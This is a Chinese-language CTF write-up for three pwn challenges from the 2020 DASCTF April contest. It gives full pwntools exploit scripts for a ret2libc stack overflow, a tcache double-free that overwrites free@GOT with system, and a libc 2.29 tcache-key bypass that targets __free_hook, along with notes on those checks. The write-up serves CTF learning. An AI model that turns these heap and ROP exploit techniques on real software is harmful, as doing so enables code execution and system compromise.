0%

2020安恒/DASCTF四月月赛wp(pwn部分)

今天打了打安恒月赛,发现👴还是太菜了,三道题目只做了两道,最后一道是赛后才做出来。不过本次的题目也有所收获,故写此wp作以记录。

pwn1 echo server

《👴在pwn题目里嗯想着misc是⑧是搞错了什么》
题目给了libc,是libc2.27的。所以这里就要注意,对于使用main函数和rop的时候注意栈对齐。
(这个题目很坑的地方就是,解压第一个压缩包得到的文件还得改后缀继续解压,然而憨憨的👴根据多年misc经验直接用winhex把elf文件头前边的全部删掉,得到了极其奇怪的二进制文件,然而还能正确识别,这是👴没想到的,对着错误的文件一顿ida分析运行,结果一道题浪费了爷两个小时,离谱)
既然得到了正确文件那就很简单了,常规ret2libc,注意使用printf泄露地址时候的截断问题,还有格式化字符的位置。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p=process('./test')
p=remote('183.129.189.60',10025)
elf=ELF('./test')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
read_got=elf.got['read']
#libc_start=elf.plt['__libc_start_main']
print(hex(printf_got))
main=0x40076a
ret=0x000000000040055e
pop_rdi=0x0000000000400823
pop_rsi_r15=0x0000000000400821
p.recvuntil('name')
p.sendline(str(1000))
p.recvuntil('name')
payload='a'*136+p64(pop_rdi)+p64(0x40087a)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
p.send(payload)
p.recvuntil('\x40\x20')
read_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=read_addr-0x110070
print(hex(libc_base))
system=libc_base+0x004f440
bin_sh=libc_base+0x1b3e9a
p.recvuntil('name')
p.sendline('200')
p.recvuntil('name')
payload='a'*136+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

pwn2 sales_office

这道题目也是libc 2.27的,tcache的基础利用,UAF。
先利用tcache泄露基址,随后double free构造一个环状bins链,加入free_got的位置,然后修改free_got为system函数地址即可
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p=process('./sales_office')
p=remote('183.129.189.60',10024)
elf=ELF('./sales_office')
puts_got=elf.got['puts']
free_got=elf.got['free']
#addr=0x6020A0
def add(size,content):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('house:')
p.sendline(str(size))
p.recvuntil('house:')
p.send(content)

def add1(size):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('house:')
p.sendline(str(size))

def free(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(idx))

def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('house:\n')

add(0x20,p64(puts_got))#0
add(0x20,p64(puts_got))#1
free(0)
free(1)
add(0x18,p64(puts_got))#2
show(0)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc=puts_addr-0x0809c0
print(hex(libc))
free_addr=libc+0x97950
system=libc+0x04f440
add(0x18,'aa')#3
free(3)
free(3)
add(0x18,p64(free_got))#4
add(0x60,'/bin/sh\x00')#5
add(0x18,p64(system))#6
print(hex(free_got))
free(5)
p.interactive()

pwn3 sales_office2

这一题多用属实是👴没想到的,一道题目恰两次钱,好活,赏💴!
这道题目我在比赛的时候没做出来,在赛后根据zhz师傅的提示做了出来。
本地复现的时候👴选择libc2.30的虚拟机复现(libc机制基本一样),大家看exp的时候注意相关地址即可。
这道题目和上道题目完全一样,但是libc是libc 2.29的.注意2.29加入了对于tcache的double free的检查,所以上一题目的方法打不通,就要想办法自己构造了。
这道题目前边还是和之前一样泄露libc基址,但是注意再额外泄露一个heap的基址,便于之后构造。
这里选择在一个0x51的chunk中伪造一个0x21的chunk,这样在这个伪造的chunk被free之后就可以通过改写0x51的chunk内容来控制伪造chonk的内容。
然后由于新加入的检查,tcache数量不能减到-1了,就需要提前多构造几个0x21的bins。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
p=process('./sales_office')
#p=remote('183.129.189.60',10024)
elf=ELF('./sales_office')
puts_got=elf.got['puts']
free_got=elf.got['free']
#addr=0x6020A0
def add(size,content):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('house:')
p.sendline(str(size))
p.recvuntil('house:')
p.send(content)

def add1(size):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('house:')
p.sendline(str(size))

def free(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(idx))

def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('house:\n')

add(0x20,p64(puts_got))#0
add(0x20,p64(puts_got))#1
free(0)
free(1)

add(0x18,p64(puts_got))#2
show(0)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc=puts_addr-0x087490
print(hex(libc))
system=libc+0x0554e0
free_hook=libc+0x1edb20

add(0x38,p64(0)+p64(0x21)*6)#3
add(0x48,p64(0)+p64(0x21)*8)#4
add1(0x70)#5
free(3)
free(4)
free(5)
show(5)
heap_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x340
print(hex(heap_addr))
free_hook=libc+0x1edb20
add1(0x70)#5
add(0x18,p64(heap_addr+0x3f0))#5
add(0x18,'aa')#6
free(6)
free(3)
add(0x48,'/bin/sh\x00'+p64(0)*5+p64(free_hook)+p64(0))#7
add(0x18,p64(system))#
free(7)
p.interactive()

以上就是👴本次的pwn的wp,不得不说最后一题还是有所收获的。要是👴没有在第一道pwn里嗯想着misc,也许就出了说不定。
最后👴再补充一下libc2.29的检查:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; /* 新增指针 */
} tcache_entry;

由于这里新增了指针用于检测double free,所以注意伪造的时候要把这个指针,也就是chunk的bk位置,也给改成0。
常规绕过思路有以下两个:
(这是👴从网上找的,原文在这

  • 如果有UAF漏洞或堆溢出,可以修改e->key为空,或者其他非tcache_perthread_struct的地址。这样可以直接绕过_int_free里面第一个if判断。不过如果UAF或堆溢出能直接修改chunk的fd的话,根本就不需要用到double free了。
  • 利用堆溢出,修改chunk的size,最差的情况至少要做到off by null。留意到_int_free里面判断当前chunk是否已存在tcache的地方,它是根据chunk的大小去查指定的tcache链,由于我们修改了chunk的size,查找tcache链时并不会找到该chunk,满足free的条件。虽然double free的chunk不在同一个tcache链中,不过不影响我们使用tcache poisoning进行攻击。
好饿啊,早知道不学安全了